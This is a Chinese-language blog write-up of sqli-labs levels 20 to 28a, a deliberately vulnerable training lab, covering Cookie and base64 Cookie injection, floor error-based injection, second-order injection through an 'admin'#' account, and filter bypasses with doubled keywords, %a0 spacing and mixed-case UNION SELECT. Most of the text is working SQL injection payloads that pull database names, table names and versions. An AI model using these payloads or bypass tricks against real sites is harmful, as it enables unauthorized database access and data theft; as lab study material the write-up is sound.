sqlilab 20-28a之看不懂的教程

第二十关:

接着上面19关的方法,我这里用正确的账号密码登录后发现页面显示了我的Cookie,立刻联想到Cookie注入,还是一样用Burp进行抓包,通过修改Cookie对上面的猜想进行验证

先构造出  uname=admin' 之后页面出现报错,接着构造uname=admin' -- #之后恢复正常,说明是单引号注入,

下面用order by判断字段数,当输入 uname=admin' order by 4时页面报错,说明有3个字段;

然后找显示位,当输入 uname=admin' union select 1,2,3 -- #后发现页面并没有显示位,这时我们使用floor报错注入

关于floor报错注入的原理在之前介绍函数的文章中有讲到,这里不再详细说明,直接给出payload

数据库名: uname=admin') union select count(*),1,concat((select database()),floor(rand(0)*2)) as a from information_schema.tables group by a -- #

第二十一关:

还是同上,用正确的账号密码先登录,这里同样显示了我们的Cookie,然而接下来就让人自闭了,由于本人第一次接触此类事物,对一串字符还不是很敏感,成功登录后显示的Cookie等于一串base64编码(我是通过查看源码才知道的,不知道还有没有除直觉外的其他方法),接下来就省事很多了

步骤和第二十关一样,只是构造payload后需要先进行一次base64编码;

数据库名:uname=admin') union select count(*),1,concat((select database()),floor(rand(0)*2)) as a from information_schema.tables group by a -- #

base64编码:YWRtaW4nKSB1bmlvbiBzZWxlY3QgY291bnQoKiksMSxjb25jYXQoKHNlbGVjdCBkYXRhYmFzZSgpKSxmbG9vcihyYW5kKDApKjIpKSBhcyBhIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBncm91cCBieSBhIC0tICM=

第二十二关:

依旧同上,只是注入点变成了双引号闭合,这里不再过多叙述;

第二十三关:

这关界面终于又变了,但为什么回到了第一关的样子!!?于是先按照第一关的方法试试看(当然不可能过关,也只是象征性的试试)

但是输入 id=1' 后居然真的报错了,说明真的存在注入,然后进行验证,同样输入id=1' -- #后发现还是报错,???什么鬼,(这时有经验的大佬应该能立刻联想到注释符被过滤了,而像我这种萌新还懵逼了半天继续去找注入点。。。)

既然注释符被过滤了,那就不用了呗,换闭合的方法;

输入id=1' or '1'='2 页面回显正常;

输入id=1' and '1'='2 页面回显错误;

可以判断出注入点就是单引号闭合了;

剩下的就简单了

判断字段数:

这里写一段小插曲,判断字段数一般是用order by,于是我构造了id=100' order by 4 and '1'='2    对于我这个第一次接触的萌新来说,这个没毛病啊为啥不报错呢。。。(之前做题已经知道有3个字段了)通过一系列自闭操作之后,终于绕过弯了,由于运算顺序的问题这个只会执行order by 0(在此感谢伟师父给我独立思考的空间)

判断显示位:id=100' union select 1,2,3 and '1'='2

爆表名:

?id=100' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() and '1'= '1

第二十四关:

这关是二次注入,二次注入的原理是先通过一些方法将一些敏感字符存入数据库中,接着再通过对这些敏感字符的调用来完成注入

首先我们注册一个admin‘#的账户;

然后登陆,修改密码;

由于’#的原因,在修改密码时我们修改了admin账户的密码;

这时登陆admin用新密码就可以了;

第二十五关:

还是第一关的样子,还是第一关的套路,输入  id=1'  接着  id=1' -- #  判断出这就是注入点(真好)

接着查字段数 输入id=1' order by 4 -- #  这时报错了。。。但不是想象中的那种错误

不过这关倒是挺友好下面还输出了过滤后的语句,查看语句后发现输入变成了这样 id=1' der by 4 -- 

or 被过滤了,不难猜想 and 也被过滤了,不过没事,我们可以这样构造payload

id=1' oorrder by 4 --   成功的出现了我们想要的报错

后面就同第一关了我就不再多bb

第二十五关a:

既然是二十五关a,那和上面的二十五关做法肯定脱不开干系,同样的操作,发现只是把单引号注入变成了数字注入。。。

 

 

第二十六关:

又是和第一关一样。。。算了我说和第二十五关一样吧显的题难一点

输入 id=1'  报错,再输入  id=1' -- #  还是报错。。。

然后查看下面过滤后的语句,可怕,注释符空格什么的全被过滤

不过依旧没事id=1' aandnd '1'='1还是能判断出这个就是注入点-。-

这里我通过网上查询,有这么一些代替符号的方法

%09 = TAB键(水平)

%0a = 新建一行

%0c = 新的一页

%0d = return功能

%0b = TAB键(垂直)

%a0 = 空格

&&(%26%26) = and

|| = or

下面就来构造payload吧(这payload还真有够麻烦的)

爆表:

id=100%27%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%a0aandnd%a0%271%27=%a0%271

注:这里较高版本的PHP无法转译%A0为空格(5.2.17可以转译,5.4.45不行),具体版本本人没有测试

第二十六关a:

也是一样,同上,只是注入点换成了')  这里就不再多bb

给个payload:?id=100%27)%A0UNION%A0SELECT%A01,database(),user()%a0%26%26%a0(%271

第二十七关

进入页面后发现和上一关没什么不一样,那就还是老方法,先试一遍看看哪里不一样,通过输入 id=1'   id=1‘-- #  id=1' and '1'='1

id=1' union select 1,2,3 and '1'='1之后发现and没被过滤,但是union select等一些关键词,空格,注释符被过滤了

现在只要想办法绕过就好。。。我通过多次尝试无果,查看源码后,发现用UniOn这种就可以了,其余同上

第二十七关a:

也是一道过滤的题,不过还是老办法,输入  id=1'  没用继续  id=1"  这次回显错误,接着是验证...这些都和上面一样就不多说了

直接给payload:id=100%27%a0UnIon%a0seLect%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0and%a0%271%27=%a0%271

 

第二十八关

又又又是同类型的,真好,那我继续老办法,来一个过一个,按上面的方法构造payload之后发现直接就可以了。。。???什么情况,这不是二十七关啊怎么出来的答案!!!

这里是payload:id=0')%A0UnIoN%A0SeLeCt(1),version(),database()%26%26%a0('1

太假了,经过查看源码后我才理解,这关过滤了select union这个组合,上面的payload能直接爆出答案也就理所应当了

第二十八关a:

emmm这关过的不太顺利,后面看了源码才发现是大小写都没用,难受,不过还是有办法,用%a0代替中间的空格就好

payload:id=100') UnIon%A0SeLect 1,version(),database()--+

 

 

 

 

你可能感兴趣的:(NYIST)